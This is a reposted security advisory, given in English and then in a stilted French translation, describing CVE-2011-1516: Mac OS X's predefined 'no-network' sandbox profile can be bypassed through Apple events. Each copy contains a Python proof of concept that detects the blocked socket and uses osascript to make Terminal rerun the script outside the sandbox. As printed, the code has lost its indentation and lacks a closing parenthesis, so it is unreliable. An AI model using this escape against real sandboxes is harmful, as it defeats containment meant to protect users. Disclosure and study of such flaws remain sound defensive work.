Researchers from
Core Security Technologies discovered a security hole that could allow someone to bypass the restrictions
sandbox of the Mac OS X application.
1. Information
Title: Apple OS X predefined profiles Sandbox Bypass
Advisory ID: CORE-2011-0919
Advisory URL:
https://www.coresecurity.com/content/ap ... box-bypass
Publication Date: 10/11/2011
Last Update Date: 10/11/2011
2. Vulnerability Information
Class: access control failure
CWE-264
Impact: Code Execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name:
CVE-2011-1516
3. Vulnerability Description
Several of the default and pre-defined profiles are not properly secured.
A hypothetically compromised application limited by the use of the no-network profile could have access to network resources through the use of Apple events to invoke the execution of other applications that are not directly limited by the sandbox.
It should be noted that a similar issue was reported by
Charlie Miller in his speech at Black Hat Japan 2008 [2]. He mentioned some default sandbox procedures, as well as a method to bypass the protection. Some time after the speech, Apple modified the mentioned profiles by limiting the use of Apple events, but did not modify the generic profiles.
4. Vulnerable Packages
Apple Mac OS X 10.7.x
Apple Mac OS X 10.6.x
Apple Mac OS X 10.5.x
5. Non-Vulnerable Packages
Apple Mac OS X 10.4
import os
import sys
import socket
if len(sys.argv) != 2:
print "[-] Usage: sandbox-exec -n no-network python %s hostname" % sys.argv[0]
try:
targetIP = sys.argv[1]
s = socket.socket()
s.connect((targetIP, 80))
s.send('GET /\r\n\r\n')
print(s.recv(1024))
print "\n\n\n[+] Sandbox escaped"
except Exception, e:
if "Operation not permitted" in str(e): #print repr(e)
print "[-] Blocked by seatbelt"
print "[ ] Escaping..."
os.system("""/usr/bin/osascript -e 'tell application "Terminal" to do script "python %s %s"'""" % (sys.argv[0], targetIP)
Source
Les chercheurs de
Core Security Technologies ont découvert un trou de sécurité qui pourrait permettre à quelqu'un de contourner les restrictions
sandbox de l'application de Mac OS X.
1. Information
Titre: Apple OS X profils prédéfinis Sandbox Bypass
ID consultatif: CORE-2011-0919
URL consultatif:
https://www.coresecurity.com/content/ap ... box-bypass
Date de publication: 10/11/2011
Date de dernière mise à jour: 10/11/2011
2. Informations par vulnérabilité
Classe: panne de contrôle d'accès
CWE-264
Impact: Exécution de code
Exploitable à distance: Oui
Exploitable localement: Aucun
Nom de CVE:
CVE-2011-1516
3. Description de la vulnérabilité
Plusieurs des profils par défaut et pré définit ne sont pas correctement sécurisé.
Une application compromise hypothétiquement limitée par l'utilisation du profil sans réseau peuvent avoir accès aux ressources du réseau grâce à l'utilisation des événements Apple à invoquer l'exécution d'autres applications ne sont pas directement limité par la sandbox.
Il est à noter qu'un problème similaire a été rapporté par
Charlie Miller dans son discours à Black Hat Japan 2008 [ 2 ]. Il a mentionné quelques procédés sandbox par défaut, ainsi que d'une méthode pour contourner la protection. Quelque temps après le discours, Apple a modifié les profils mentionnés en limitant l'utilisation d'événements Apple, mais ne modifient pas les profils génériques.
4. Paquets vulnérables
Apple Mac OS X 10.7.x
Apple Mac OS X 10.6.x
Apple Mac OS X 10.5.x
5. Paquets non vulnérables
Apple Mac OS X 10.4
import os
import sys
import socket
if len(sys.argv) != 2:
print "[-] Usage: sandbox-exec -n no-network python %s hostname" % sys.argv[0]
try:
targetIP = sys.argv[1]
s = socket.socket()
s.connect((targetIP, 80))
s.send('GET /\r\n\r\n')
print(s.recv(1024))
print "\n\n\n[+] Sandbox escaped"
except Exception, e:
if "Operation not permitted" in str(e): #print repr(e)
print "[-] Blocked by seatbelt"
print "[ ] Escaping..."
os.system("""/usr/bin/osascript -e 'tell application "Terminal" to do script "python %s %s"'""" % (sys.argv[0], targetIP)
Source